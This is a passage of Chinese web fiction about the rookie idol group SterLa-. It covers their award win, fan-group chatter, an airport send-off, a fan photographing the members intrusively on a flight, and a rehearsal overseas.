主打曲他们从确认好了主打曲开始就练习。用队长的话来说，已经到了就算是睡梦里听到伴奏都能让身体做出正确的动作。 各具特色的嗓音，整齐的舞蹈，强力的Rap，顺滑而高亢的副歌。 “哇，这种质量的现场舞台，难怪他们每次打歌之后涨粉那么厉害。”爱豆席的一位去年出道的男团爱豆悄悄和自己的队友说道。 “这种实力的新人男团，乐狮这是藏了几年啊？” “谁知道呢，还是大公司好。各种资源比我们公司好太多了。” “其实要不是Hitting愿意带他们，应该起飞的也没这么快吧？一个新人男团真是一点儿面子不给我们留啊。” 台下的观众席还沉浸在表演里，手里虽然拿着别团的应援棒也不由自主的就挥舞起来。 一曲终了，现场观众送上了如潮般的呐喊和掌声。 台上的五人一边深呼吸大喘气恢复呼吸节奏，一边从主舞台往分舞台走去。 啪！ 舞台上的光全被关掉，只剩下一束光照在吴星雨身上。 咔哒咔哒！ 传来他们一首收录曲的伴奏声。吴星雨像是一个机器人一般，随着伴奏的独特咔哒节奏音扭动着自己的关节。三十秒的独舞之后啪的一声照在他身上的光关掉，照在了站在一起的葛文山和禹安身上。 一个少年怒音，一个成熟低音。一高一低的嗓音时而一前一后。快嘴的rap堪比加特林，直到唱完还留有让人心悸的节奏。 灯光来到了江翰飞和于立果的身上。江翰飞清冽的高音搭配于立果低沉的烟嗓，公司计划已久的二重唱终于展现出来。唱着不一样的声部和歌词，却好像玉石碎冰，既带着玉石和冰的干净和冰冷，又带着击碎冰那一刹那的破碎故事感。 场中的爱豆席和观众席无一不瞪大了眼睛，紧紧盯着台上的人。表演结束所有灯光亮起，才把观众和爱豆们从刚刚的冰雪世界里带回，开始疯狂鼓掌和瞪着一双不可置信的眼睛与身边的人对视。 这乐狮，是藏了个大杀招啊！ 40-50 第41章 “快走走走走”于立果催促着前面的吴星雨快下场。 他们作为男团新人的有力候选有8分钟左右的表演时间。同样作为女团新人的有力候选也有8分钟的表演时间，刚好就排在他们后面。两个男女团新人候选刚好一前一后的节目安排，导致现在他们还没下场，台下的欢呼还在继续，而女团新人候选已经在上台了。 江翰飞几人弓着腰，快速从舞台侧面的出口下台，从舞台下的通道进到后台休息室，妆造师一拥而上抢妆。 擦汗，补底妆，补唇釉，拍散粉，抓头发，整理服装 休息室内一下子热闹起来，每个成员身边都围着人。 女团新人表演完之后就是今年男团和女团新人奖的颁奖典礼，作为候选团，待会儿一定会上大屏幕。要想待会儿不出丑，现在就得赶紧擦汗补妆整理造型。 幸好上次出道专成绩不错，公司又给他们的固定团队增加了几名人手，否则现在就捉襟见肘了。 没等他们完全做完，就听见负责串场的场务过来敲门催促，让他们赶紧进入座位席，等待公布新人奖的获奖人。 紧赶慢赶，总算在主持人在台上聊话题拖了一会儿后成功坐到位置上，屁股还没做热，大屏幕的摄像头就扫了过来。五人赶紧装起样子跟摇过来的摄像机挥手示意。 “宣布，最佳新人男团的获奖者是” “是？” 女主持人捧哏，配合着男主持拉长的语调。 禹安抓紧身边江翰飞的衣角，江翰飞两只手紧张地扣在一起，被挡住的内侧左手大拇指不停划拉着右手的大拇指甲盖。于立果和吴星雨貌似淡定的对摄像机点点头，只从绷紧的太阳穴和腮帮子泄露出真实情绪。葛文飞身体前倾，双肘撑在膝盖上，两手交握，眼睛直直地盯着台上的方向。 “恭喜SterLa-！！” 场内响起热烈的掌声和欢呼声。在全场的欢呼声中，几人站起身来，平静地对旁边跟拍他们反应的摄影师微笑点头示意，稳稳地往领奖台走去。 “恭喜SterLa-！ “我们是男新！我们赢了哈哈哈哈！” “恭喜我的小破团呜呜呜！！” 台下的粉丝们一边疯狂挥舞着手里的应援棒，一边尖叫着蹦蹦跳跳。好像这样才能宣泄出自己的兴奋。 吴星雨代表SterLa-从主持人手中接过奖杯，凑近话筒说获奖感言：“感谢大家给我们的荣誉，其实没有想到真的能拿到这个奖。现在也很难表达我们的激动心情，但既然大家信任我们，给了我们这个荣誉，那SterLa-能给大家保证的是，我们绝对不会辜负大家的信任。希望我们在前行的路上，能一直有你们的陪伴！” 新人男团发言时间短，说完SterLa-的五人跟在场所有观众鞠了一躬，就从另一侧下台了。 “队长，牛逼。”刚下台进入过道，吴星雨侧后方的于立果立马说道。 “你先把这个拿着。”吴星雨突然转过身来，顺手把奖杯塞给于立果。 于立果：？ 吴星雨：“我手抖！” “哈哈哈哈哈哈。”听见吴星雨的话，五人齐齐笑起来。江翰飞当时听吴星雨说话沉稳自信有逻辑，还好一阵佩服，心想果然队长就是队长，第一次面临这种大场面也是一点不带慌。 其实那段台词吴星雨早就写好了，自己偷摸着背了好几天。虽然网上的讨论一阵一阵的，都觉得他们应该能获奖。但尘埃落定前，谁也不敢打包票。 因此他虽然听着唐君君的话早早的准备好了获奖感言，但一直没有在队友面前背过，都是晚上找着时间背着人背。有一次练舞中途躲在厕所背，背得忘了时间，还被葛文山来厕所找过。 于立果是早就知道吴星雨有准备，还撞见过他偷摸背感言的场面，不过很配合的没拆穿。现在看吴星雨下台之后才露出的紧张模样和还在微微颤抖的手，哈哈大笑起来，转身又把奖杯塞给身后的江翰飞，自己一把揽过吴星雨的肩膀，“牛逼啊队长，一点看不出来你在紧张。” 江翰飞一边跟着前面的哥哥们走，一边低头打量着手上的水晶奖杯。算上人生所有的时间，这是他第一次拿到一座奖杯。虽然不是给他一个人的，但是有一部分属于他。 水晶奖杯拿在手里沉甸甸的，杯身的部分在灯光的照射下折射出极亮的光，闪人眼睛。底座上还有一个最佳新人男团的字样。刚刚还有个场控姐姐过来跟他们说，奖杯先放在休息室，晚上颁奖典礼结束后统一归还到主办方，主办方后续给奖杯刻上团队名称后再发还给他们。 禹安凑过来走在他旁边调侃道，“这么喜欢？” “嗯，很喜欢！”江翰飞老实回答，又反问道，“你不喜欢吗？” 禹安一噎，他能说不喜欢吗？ 最佳新人男团啊，他们团的第一个奖。他能不喜欢？ 虽然面上一副淡定自若的样子，但刚刚在宣布获奖团体前感觉自己心脏都要停跳了，往台上走的时候像踩在棉花上，脚底软绵绵的，到现在都还有一种不真实感。要不是看见过江翰飞的入迷样子想要习惯性的调侃一番，说不准现在都还沉浸在刚刚的感觉里。 葛文飞走在最后，沉默的听着前面四个人叽叽喳喳，狭长的眼里含着笑，嘴角也难得微微翘起。 欣怡跟在最后，心里也满满涨涨，笑得见牙不见眼。走到岔路口，五人把奖杯交给欣怡带回休息室，他们则回了爱豆座席。 回去席位的路上，同年出道的爱豆们也不知道该用什么样的表情面对胜利者，纷纷装作一副台上表演精彩得让人入迷的样子目不斜视。 你说这前面九个月没有什么对手，结果十月一个回归大战出来的新团直接登顶新人团，这叫什么事儿啊！ 爱豆席前站坑的粉丝见自家爱豆回来，捂着嘴对着他们一个劲儿摇应援棒表示对他们获奖的开心。五人组见状也拿起主办方发给爱豆的荧光棒对着站坑里的粉丝们一个劲儿晃。 坐在另一面观众席的几个拍他们Reaction的站姐看了忍俊不禁，不想承认这是自家的二傻子们。 颁奖典礼每年都是爱豆之间的无形大战。一个是获奖，一个是舞台。 每年颁奖礼之后各个对家团之间都会把自家爱豆的奖项，获奖数量还有舞台拉出来一一对比。奖项的含金量谁高谁牛逼，谁奖项多谁牛逼，谁家舞台最好看，最出圈谁牛逼。 于是BMA一结束，SterLa-的粉丝直接刷屏#BMA最佳男团新人奖 #BMA新人奖，疑似直接贴脸嘲讽先前被炒得沸沸扬扬的竞争对手团IUE。 “之前是谁说SterLa-铜臭味儿重，只知道卖货和代言的，音乐质量差的？出来走两圈。” “官方专辑销售数量出来了，BMA官方平台统计数量也出来了，说SterLa-专辑销量造假的，好心提醒你们一句，赶紧删博文，否则告你们名誉诽谤一告一个准！” “替我们担心小作坊拿不到奖的谢谢你们，管好你们自己，今年第一个新人奖，拿下！” “恭喜SterLa-，恭喜我的五个宝宝！继续加油，后面的奖项我们也争取争取，不然我们这小公司出来的，没人看得上啊！” “我果然就是追星的天选之子，每次粉上的新爱豆都是登顶潜质！” IUE的粉丝气不过，但自己没拿奖确实没法回嘲。有不懂事的粉丝为了出气，直接阴阳怪气SterLa-的粉丝少见多怪，抱着一个BMA的水奖就开始炫耀。结果连夜被自家大粉教育，不要牵扯任何平台让把博文删掉。有粉丝不服气，犟着不肯删，最后直接被自家的站子挂黑了，这下又是一波粉转黑直接开骂。 搞得鸡飞狗跳好一阵，直到IUE终于在另一个颁奖典礼压过SterLa-，也拿到了一个新人奖之后才消停下来，齐心协力开始回嘲SterLa。 ‘爱吃炒豆’这个群也在一直在讨论各个颁奖典礼。群里的小姐妹们都知道群里的富婆朱朱和另一个小姐妹喵喵都是SterLa-的粉丝。每次见SterLa-获奖，纷纷在群里艾特恭喜他们的小爱豆得奖了。 “朱朱又去现场拍照了吗？今天晚上艾特她好几次都没出现。” “她必去的好吧。”柯苗一边加班一边水群，没有精神食粮真的撑不下去。 “江翰飞在哪儿，她就在哪儿，她是真的爱了。” “貌似是的，就没见朱朱缺席过江翰飞的正式场合。” “这还是朱朱第一次这么粉一个人吧？” “是啊，不过听她说的，我也有点粉江翰飞了。长得好，实力好，性格温柔又内向还带点社恐，超绝反差。”柯苗心虚的在群里打字。她本来是葛文飞的粉丝，就喜欢那种高高的带点酷哥风格的帅哥。但是上次江翰飞染了西柚粉发的那场打歌，差点把她人迷晕了，从那之后一直有成为双担的迹象。 群里的姐妹一早知道她什么德行，纷纷开始调侃起她来，同时也不禁开始好奇：到底是个什么样的爱豆，才能迷得博览众爱豆的朱朱和柯苗都这么爱呢？ 第42章 最近SterLa-算是风头正盛，先有普通咖啡品牌代言，效果堪比二线男团；接着又再年末的颁奖礼上接连斩获新人奖。 昨晚刚结束的跨年盛典也将新人奖斩于马下。 这么一合计，除开两个小团把最佳新人颁给了IUE，7个年末盛典，SterLa-独得其五的新人奖。 就这公司和SterLa-的粉丝还在纷纷惋惜，没能收获新人奖大满贯。要知道上个拿到新人奖大满贯的男团后来可是风靡一时，直接登顶。 如果SterLa-能拿到大满贯，这传播度都不需要公司下场，圈内粉丝都能自发传播得人尽皆知。 但错过就是错过了，总归这个出道成绩在近几年各个公司推出的男团里，已经算得上最佳。 “找一下朱朱在哪儿！”一个带着鸭舌帽的女孩子拽了旁边的短发女孩儿一下，一边说着一边四下张望。 “别找朱朱了，她是站姐，今天肯定是在比较远的地方拍。”短发女孩儿双手握着手机，手指飞速敲击着手机键盘，“我们直接找喵喵去，她说她在入口的地方占好位置了。” 说完，短发女孩儿扯着鸭舌帽女孩儿的手往入口处跑去。 她们俩都是‘爱吃炒豆’群里的群友，前两天看完颁奖典礼，被群里的朱朱和喵喵两位SterLa-的铁杆粉丝蛊惑，两人又正好在这个城市。一时禁不住诱惑，相约朱朱和喵喵今天一起来给SterLa-送机。 两人还没走到喵喵说的入口，就听见隐隐约约的嘈杂声。拐过一个转角，远远就见前面聚集了一大片人，手里拿着各种应援物。在正对入口处的地方，还有十好几个挂着各个媒体牌子的摄影师正调着手里的摄像机。 两人凑过去，找到了正在和别的小姐姐聊天的喵喵。 “哇，姐姐你粉的这么早啊？那你是骨灰级老粉了啊？”扎马尾的小女生穿着粉嫩，对着喵喵发出了赞叹。 “额咳咳！也不算！SterLa-的崽崽们才出道三个月，如果我们以后能一直陪着他们走下，我们都是老粉！”柯苗毛衣长裙配大衣，脸上画着精致的妆容，叫办公室的同事看到，一定认不出这个潮流精致女孩儿是办公室里那个素面朝天，一年四季都能穿着拖鞋上班的女孩儿。 “我肯定会的！”小女生看起来年纪不大，脸上还带着没有褪完的婴儿肥，目光炯炯地盯着柯苗，声音坚定得像是在发誓，“这是我第一次追星，真的超级超级超级超级喜欢飞飞崽崽！” “咦？你是阿飞的妈粉啊？”鸭舌帽女孩儿突然插嘴，柯苗和小女生这才发现有两个人已经凑了过来。 “对啊！虽然我年纪比飞崽小点，但是不影响我当他妈！”小女生说话中气十足，特别开朗，声音引得周围好几个人都看过来，“两位姐姐也是飞崽的粉丝吗？” 鸭舌帽女孩儿和短发女孩儿垂眼交流一个眼神，默契地说道，“对啊！我们都是他们刚出道就粉上了！” “哇！你们和喵喵姐姐一样的出道粉啊！”小女生像是发现什么新大陆似的，又惊又喜。 鸭舌帽女孩儿和短发女孩儿听对面的小女生说柯苗是出道粉，两人默默地把目光斜视向在一边的柯苗，果不其然发现对方脸上不自在的心虚表情。又默契地收回视线，对着眼前的小女生点点头：“嗯嗯！” “你们也太有眼光了！我都是道后来他们打歌快结束了才粉上他们的。”小女生蹦蹦跳跳，从手里的自印卡里抽出一大叠，分别塞给她们三个。 热情难却，收下小女生塞过来的自印周边。道过谢后她们仨手里也没别的东西可以交换，短发女生把手里提着的小袋子递了过去，“还没吃早饭吧？这个给你。别嫌弃。” “谢谢姐姐！我今天凌晨四点直接从学校打车过来的，正好没买到早饭！我不客气啦！”小女生大大方方地接过小袋子，里面有一个早餐三明治和一盒奶，都是密封得好好的没拆开过。 柯苗在一旁尴尬得不行，和小女生道个别，拉着另外两位女孩儿溜走。 三人跑到一个没人的角落，鸭舌帽女生和短发女生这才似笑非笑地看着柯苗：“喵喵姐，出道粉哦~~” 柯苗脸一红，随即想到自己确实是葛文飞出道粉啊，也是SterLa-的团粉。脖子一梗，下巴一抬：“江翰飞是SterLa-的一员，我是SterLa-的出道团粉。那我说自己是他的出道粉怎么了？” “好好好，是是是！”旁边的两人笑得不行。 柯苗被笑得脸涨红，只能拿出手机假装专心玩儿手机。 江翰飞的那场妆造真该死啊！那不就是红果果的勾引我吗？ 妈妈，这里有妖精勾引你女儿你管不管啊！？ 算了妈妈，别管了，你女儿愿意被勾引T T。 在脑海里完成了一场自问自答对话的柯苗放弃挣扎，反正都已经在坑底躺平了，还是别挣扎了吧。 “朱朱呢？”鸭舌帽女孩儿笑够了，问道。 “朱朱说这是阿飞第一次走机场，她准备开大，去机场二楼测试机位了。”柯苗有气无力，“她那儿太远了，我们待会儿在入口过道旁边就行。” 鸭舌帽女生和短发女生点点头，她俩属于喜欢看演唱会的，送机是真的去的很少。这次要不是她俩实在好奇江翰飞线下什么样子能把朱朱和柯苗蛊成这样，这么早的机场她俩说什么都不会来的。 现在是早上六点半，机场外的天黑中泛着蓝，太阳刚刚有点冒头的影子。 SterLa-的机票时间是9：20，算算时间应该也快来了。粉丝们也知道时间，早早地找好了位置，等得久了直接席地而坐，拉着左右两边的同担开始聊起入坑的契机，喜欢的打歌场次或是一起吐槽某些对家的骚操作。 明明是一个小时前从未见过的陌生人，却因为同样的爱豆迅速拉近了距离，开口就叫上了姐妹。 还有人拿出了SterLa-里非自担的小卡，左右两边问问，打算直接现场换卡。时不时的开心大笑和偶尔的尖叫让机场的其他人频频侧目，也在暗中猜测着是不是有哪个明星要来。 有大爷大妈们赶飞机来得很早，坐着无聊了就时不时好奇地过来转几圈，揣着个手，假装不在意虚着眼睛地辨认着手幅上的名字或者团扇上的人脸。 “啊哟，小姑娘，这是你们偶像啊？叫什么名字啊？”终于有好奇的阿姨看了半天也没认出花体字写的什么名字，直接开口询问。 围坐在地上的小姑娘眼睛一眯，露出一口白牙，“对呀！他叫江翰飞，江河的江，古时候翰林学士的那个翰，高飞的飞。江翰飞！唱歌超级好听的哦，阿姨可以也可以听听看！” “在跃音App上直接搜就能搜到！” 心想，绝不放过任何一个安利自家崽子的机会。 “看着白白净净的，是很有学士的样子唷！”阿姨得到了答案，满足之余也跟着小姑娘附和了两句。 “阿姨你真有眼光！”听见有人夸江翰飞，周围好几个小姑娘眼睛biu的亮了，纷纷称赞着阿姨有眼光，又潮流。夸得阿姨合不拢嘴。 “哎哟，我们那个时候也是有明星的啊！那个谁谁谁和那个谁谁长得老帅了，唱歌也好听的，当年他们的粉丝说不定比你们这个小朋友的粉丝还多咧！”阿姨不禁回忆起自己年轻的时候，也没什么娱乐活动，整天抱着个收音机当宝贝，谁要是能拥有两盘最新的歌唱卡带，那真是十里八乡顶顶有面儿，顶顶潮流的人儿了。 “那可是大前辈，大歌唱家！我们可不敢比！”听见阿姨把江翰飞拿来和老前辈们比较，赶紧表示不敢不敢。还一直警惕地看着四周有没有可疑人物录视频。这要是被录下来发到网上，网友们的口水都能淹死人，“我们阿飞还很小呢，还要成长的。” 阿姨见小姑娘们居然这么谦逊，心里不禁对这个名字很有书香气的后生仔有了几分好感，“是的是的呢，得成长，慢慢长。会越长越高的。你看他那个名字，就是能长得很高的类型！” “哈哈哈哈，谢谢阿姨！”小姑娘们被阿姨逗得笑倒在地，刚刚的警惕烟消云散。 阿姨看着嬉笑的小姑娘们，感觉自己好像也回到了年轻的时候，在村口和镇上跟朋友悄悄地讨论当年的那谁，从牙缝里省钱出来买卡带，买完了还不敢放家里，拿了布包的严严实实塞在林子的一棵树下，就自己和当年的朋友知道地方。还记得自己说过以后长大了要去城里找到他，嫁给他呢。 现在一晃几十年过去了，要不是今天看到这群小姑娘，早就忘了还有这么些事儿，也忘了当年自己也是年轻过，干过一阵儿潮流的呢！ 阿姨回到座位上，把鬓边的白发抿到耳后，思绪也开始放空。许久不曾想起的记忆像是打开了闸口翻涌出来。 那可不就是青春吗？ 第43章 公司的车刚开到入口就被粉丝们认出来，或蹲或坐着的粉丝们一瞬间沸腾起来，像是一滴水掉进油锅里，噼里啪啦地炸开了锅。 “小星星！昨天的舞蹈超级厉害！迷死人啦！” 吴星雨最先下车，穿着一套宽松的潮牌休闲装，听见粉丝的声音转向声音来源，食指中指并拢做了个帅气的致礼。 “江翰飞，看这边！！” “阿飞！！妈妈爱你！”自从上次换了个发色打歌之后，他的妈粉越来越多。每次颁奖典礼都能听见妈粉的声音，还有不少妈粉站姐，在活动进场的时候一个劲儿叫崽崽看镜头。搞得他时不时地怀疑一下自己粉丝的年纪，直到现在面对看起来比自己还小的女孩子叫自己崽崽，隐隐约约地还有点别扭。 可惜粉丝们就特别喜欢他这个劲儿，见他眼里含着几分不自然的羞涩，叫他崽崽叫得更起劲儿了。 走在他旁边的禹安知道江翰飞对粉丝的昵称有点不好意思，每次听见江翰飞粉丝叫他崽崽都要转头去看江翰飞表情。白捡的热闹不看白不看呀。 “安安宝贝！别看了，注意安全！！”可惜禹安自己也是妈粉和颜粉最多，特别喜欢在他的昵称后加个宝贝。听久了感觉好像自己真的成了一个小孩儿被宠着似的。禹安正朝着那边挥手，转头又听见有人问他，“安安，你打算什么时候开班啊？” “啊？开班？什么班？”禹安迷茫地反问了一句。 而刚刚问她的女生却没等到他回答就被挤到了后面，面前只剩下对他疯狂夸赞颜值的粉丝 “山老师！这边这边！” 葛文山的漫画身材，酷哥脸，搭配上一腔攻击力超强的Rap。看起来爆棚的男友力让他成功成为队里女友粉和二次元粉最多的成员，甚至还有几个稀少的男粉。 而于立果的粉丝比例却很奇怪，相比其他成员，很少颜粉，但是女友粉比例居然是全队第二。 原本公司最开始让他补位，只是为了推出他和江翰飞的二重唱，恰好性格和其他方面也正好合适，才让他紧急补位成为出道成员之一。 所以他的定位和人设是最单薄的，只有一个副主唱的定位。又因为除了吴星雨就他管事儿比较多，私底下也被SterLa-的粉丝们成为副队长。 因为女友粉比例这事儿，公司还专门深入粉圈调查过。他的女友粉全是喜欢他性格的，觉得于立果情绪稳定，会交际，情商高。还有一个很特别的大粉账号@跟着于某某学高情商处事，竟然还圈了不少圈外粉 “啊啊啊啊啊！小花！！”于立果听着这个昵称先是眉头一皱，绷不住半秒又忍不住笑起来，他的粉丝们似乎真的很喜欢叫他这个奇奇怪怪的昵称。 朝声音的方向招招手应下称呼的动作，让粉丝又是一阵尖叫。 她们是真的很喜欢他这种好像是在纵容她们胡闹的样子。 有大胆的粉丝直接喊上了老公，引起一片到底是谁老公的争论。 其实‘小花’这个昵称最早是黑粉用来讽刺他‘交际花’一样到处攀关系的，结果就跟副队长这个称呼一样，最后被粉丝意外地拿来当了爱称，还特别受粉丝喜欢。 “宝贝们！一路顺风！” “飞机上好好休息！” “啊啊啊崽崽们，SterLa-就是最棒的！！” “” 柯苗一行三人挤在中间的位置，前后左右都围满了人，他们在中间被人群各个方向传来的推力挤来挤去，一个不小心可能就磕到了旁边或者前面的人。手里准备好拍照的手机根本来不及精心调整构图，只能开着录像先录着。 耳边传来阵阵的尖叫声，身体四周各个方向都在受力。挣扎了一会儿实在站不稳后三人放弃了，不再尝试使劲儿抵抗身边的力气，专注地看着正在跟粉丝们打招呼的SterLa-几人。 一波一波的声浪将她们卷入其中，慢慢地她们开始放松下来。刚刚的拥挤和嘈杂也变了味道，让人开始忍不住跟着声音去关注着几人的一举一动，去仔细辨认他们在说什么。听到好笑的事情也一起哈哈笑起来。 直到SterLa-的五人走过安检，一起转过身来跟粉丝们鞠躬道别，她们才发现不知不觉间已经跟了一路。 “谢谢大家今天来给我们送机！回去注意安全！”五个少年站在闸机后踮着脚尖，手举的高高的，使劲儿跟今天大早上就来给他们送机的粉丝们挥手，“记得吃早餐！没有吃早餐的快去吃早餐吧！” “你们快进去吧！” “好，送你们进去了我们就去！” “你管我们那么多呢，你们自己休息好就行了。” “不用担心我们，待会儿就去啦！” “” 双方都跟要分别很久似的，傻傻的对着喊话挥手了好一会儿，才以唐君君把五人领走结束。 “助理姐姐，帮我们多多照顾一下他们哦。”欣怡走在最后面，正准备过闸机，旁边突然有人小声在说着话，“辛苦助理姐姐了。” 欣怡一愣，转过头去，发现有几个看起来颇为眼熟的女孩子。 领头的是个扎着短马尾的女生。 短马尾女生看着欣怡一笑，“辛苦辛苦，也谢谢你上次给我们的热饮和巧克力。” “那不是我给的，是SterLa-他们给你们准备的。”欣怡解释道。 “知道知道，也辛苦你跑下来分给我们了嘛！”短马尾女生笑得爽朗，“这个给你，不是什么贵重东西，都是我们吃着觉得好吃的零食。我们先走了，下次见！” 说完，把一个小袋子塞给欣怡，抓着身边女孩子的手一溜烟地跑了。 欣怡打开手里的小袋子，真的只是几袋子零食。她面色古怪的看了一会儿，纠结再三还是带上了。 心情感觉莫名的好。 这边SterLa-的五人登机后刚找到自己座位坐下。 公司给订的经济舱，五人加上几个工作人员占据了飞机最前面几排，把最靠里面的位置留给了他们。 飞行时间比较长，舱内昏暗又安静，行程中间大家都开始昏昏欲睡。 江翰飞半醒半睡间隐隐约约听见好像有轻轻的咔哒咔哒声，像是什么按键的声音。 他刚想做起来看看什么情况，身边的于立果保持着身体不动，手立即按住了他。 江翰飞疑惑地看过去，见于立果眼睛也睁着，眼神清明，不像是刚刚睡醒的样子，左手按着江翰飞的手冲他轻轻摇摇头。 江翰飞刚刚直起来一点的身子又靠了回去。于立果见他还看着自己，用嘴型说道：不要管，继续睡。 到这儿江翰飞也明白过来。 大概是后面那一排坐着的人正在拍他们吧？不然于立果不会这么敏感的让他不要管继续睡。 江翰飞又想到了那天回公司路上，被别车的经历，颇为郁闷的转了个身，扣下卫衣帽子遮住眼睛，学着前排大哥的样子，靠在壁上闭目养神。 他这一动，身后的咔哒声响得越发密集。 于立果看着江翰飞的背影有点好笑，一直以来都很乖的小弟突然生出了一点犟。怎么还越来越往小了长了呢？ 只是两人终归都是才出道还没什么经验的小爱豆，哪怕于立果听前辈谈起过在飞机上遇到私生千万别打招呼，也别露出什么情绪，就当对方不存在才是最好的应对方式。 但是这是他们第一次遇到，居然真的有人能在飞机飞行途中，拿着摄像机跑到机舱过道中间，怼着人拍。 江翰飞闭目养神真的就睡过去了，醒来的时候睁眼就听到了咔嚓咔嚓不断的快门声，声音很近。 让他不明所以地转过头。 然后直接对上了一个朝着他的摄像头。 拿着摄像机的女生见他看过来更兴奋了，手指不停地按动着快门。一边还念叨着可爱可爱，太可爱了。 “不好意思，你有点打扰到我们了，请你离开。”于立果也刚醒过来，见有人怼着江翰飞拍，直接伸手替江翰飞挡住了摄像头，“不要拍了。” “有没有拍你，跟你有什么关系？”女生被挡了镜头，不爽地翻了个白眼，语气比于立果更冲，“真当自己是副队长了，少在这儿自作多情，我拍他关你什么事儿啊？” “你也” “他是我哥，不关他事儿那跟不关你的事儿。”江翰飞少说话见的冷，直接打断了对方还没说完的话。 整个人已经从刚刚睡醒的状态中脱离出来，微微皱眉低头，目光锐利，直直斜着向上盯着站着前排靠椅旁的女生，“你已经很影响我们了，请离开。” “你！”女生一开始被盯得吓了一跳，她跟了好几次行程，从没见过江翰飞黑脸。圈内的‘前辈们’都说SterLa-这群人挺奇怪的，私下竟然和在外性格差不多，在他们口中江翰飞一直是一个表情不多但是脾气还挺好的小爱豆。 “我可是你的粉丝！”她回过神来，出奇的涌出一阵愤怒，声音变得更大，“你作为偶像，就是这么对你的粉丝的？” 大嗓门终于把周围睡着的人都吵醒，随性的工作人员一看，竟然都有人提着摄像机站在了旁边，吓得一个激灵，赶紧站起来隔开对方。 空姐也被这动静吸引过来，欣怡在上飞机的时候就跟空姐们提前打好了招呼。这会儿空姐过来一看就了然是什么情况，温柔又不容拒绝地将女生劝回了座位。 对同机的人来说不过一个几分钟的小插曲，好奇地看了一会儿又纷纷陷入睡眠。 于立果拍拍江翰飞的肩膀，“行程才一半，还得好几个小时，接着睡吧。” 江翰飞却怎么也睡不着了。 第44章 SterLa-刚出道在海外没什么名气，也没人接机，出机场的时候一路畅行。和当时国内送机的阵仗简直不是一个等级。 因为昨晚国内的颁奖典礼，他们的行程时间紧张得很。今天下了飞机就得先直接去彩排，舞台表演排在第一天，明天就得登台，表演完的当天又得飞回去。 Dancing Note拼盘演唱会，是跃音App每个季度都会在海外举办，为期两天。邀请的演唱嘉宾混杂了多个国家和类型音乐人，在圈内算的上有口皆碑。不少粉丝一直关注这个拼盘演唱会，挖掘一些实力小爱豆。 SterLa-能有上这个演唱会的机会，也是因为跃音App的负责人本身理念就是想聚集各个方向的音乐人，不太看粉丝数量，反而更注重作品。今年出道的新人里上过这个拼盘演唱会的，哪怕加上这期的SterLa-，IUE和KtM也屈指可数。 因此哪怕他们的行程已经紧张成这样，也得挤出两天的空挡紧赶慢赶地来。 在飞机上没睡好，时差也没倒过来，早上从国内出发是早上，到了这儿还是早上，让江翰飞下飞机之后就直打哈欠。坐上去现场的车后，倒头就睡死过去。 禹安手指在手机键盘上敲得飞快，问于立果飞机上到底是怎么回事。 他当时戴着眼罩耳塞，等他醒来看到的时候就只剩下空姐的背影。见于立果回复说有人怼着江翰飞拍，被制止了不乐意。他不禁撇撇嘴，私生就是私生，在飞机上堵人的事儿也干得出来。 收起手机揣进兜里，从欣怡手里接过一条毛毯给江翰飞搭上。 彩排的场地离机场只有一个小时的车程，江翰飞觉得自己好像刚睡着一秒钟就被叫起来了。 演唱会的场地很大，虽然是个拼盘演唱会，但跃音App财大气粗地租用了市中心的体育馆。还没进去，在场外就已经听到里面隐约的彩排音乐声。 唐君君联系了负责接待参演嘉宾的人，对方领着他们一路往后台去。 路上江翰飞看到个有点眼熟的身影。但一晃就过去，他没看太清楚。 “看啥呢？”吴星雨凑过来一把搭在江翰飞肩上。 “没什么，看起来感觉有点眼熟。” “眼熟谁？” “就刚刚从那个拐角过去的。”江翰飞指指走廊另一边的拐角，“应该也是参演嘉宾。” “阿飞弟弟，你现在的交际圈这么广的吗？”吴星雨调侃道，“是朋友的话可以介绍认识，一起玩儿嘛！” 江翰飞点头应下。 换别人说这句话可能只是客气一下，吴星雨说这话那就是真的。 吴星雨性格外向，最主要的是他对人的感受非常敏感。 用他自己的话说，哪怕初次见面，他跟这人说上几句话，就能感受到这个人他想不想靠近。 用于立果的话来说，就是他上辈子应该是一只警犬，嗅觉超敏感的那种。 然后于立果说完就收获了来自队长吴星雨的锁喉大礼包。 众人进到休息室，一共只有两场彩排；早上的一彩主要是走流程，核对人员，曲目和舞台设置，不用特意做妆造。 不过下午的终彩是要求带妆造的。所以妆造师们把带来的服装和配饰等拿出来一一挂好又熨烫好。 一个要下午走完两天的表演彩排，时间紧任务重。谁要是在这个时候掉链子，那收获的就是所有表演嘉宾们的白眼。 SterLa-的表演内容是他们已经跳了无数遍的出道专主打《钢铁丛林》。虽然已经到了闭眼都能跳的程度，但彩排的时候五人还是老老实实地认真跳完。 顺利结束终彩，江翰飞几人顺着场务的示意从侧面下舞台。 “果然是你！”突然旁边一个男声传来。 江翰飞听这话就知道先前自己没看错人。 扭头往声音方向看去，果然是当初打歌时遇见的那个躲在楼梯口哭的男生。 男生的音色很有特色，少年气里带着一点甜，光是听声音都觉得这人朝气又可爱，跟时元一样。 “啊啊啊，你不会已经把我忘了吧？”男生见江翰飞没回话，又往前走两步，“我是卫阳啊！” 卫阳真怕江翰飞把自己给忘了，又见江翰飞的队友们神色不明地看着自己。为了防止自己被当成不明人物，立即从兜里摸出手机，找到江翰飞，给他发了个哭哭的表情包，“这个，就是这个呀。” 江翰飞回过神来，摆摆手赶紧说道，“没忘没忘！早上看到你背影了，还说结束之后再问问你的。” “呼~”卫阳舒口气，夸张地拍拍胸口，“吓死我啦！还以为你真的把我忘了呢！” “阿飞，这就是你早上说的要介绍给我们认识的朋友吗？”吴星雨听明白了，走过来站在江翰飞旁边，对着卫阳伸手，“你好，我是SterLa-的队长吴星雨。 “江翰飞他哥。” SterLa-其他几人听见这句集体无语，禹安更是直接对着旁边空气翻了个白眼。 显着你了！ “你好你好，我是卫阳，是Bearing的副唱。”卫阳赶紧和吴星雨握手，一点儿没听出来有什么不对。 “你是小熊的？”葛文山少见地插了句话。 “嗯嗯，就是小熊！”卫阳露出一个大大的笑，对自己的团十分骄傲。 这下于立果和禹安也看了过来。 要说今年年末的几个黑马，SterLa-他们自己算一个，而眼前卫阳所属的Bearing也算一个。 起因是有一位他们的老粉去追他们的打歌现场，回家后把他们的打歌节目单独剪了出来发了博文。博文真情流露，替小熊他们感到不值得，也不解为什么能做出这种优质舞台又认真努力的团火不起来。 原本这种替自己爱豆抱不平的博文多到数不过来，在没什么流量的账号上发这种博文，只会让它淹没在无数的信息流中。 而这条妙就妙在写得特别好，并且中间隐隐还讽刺了当期拿了一位的热门男团闭麦假唱。 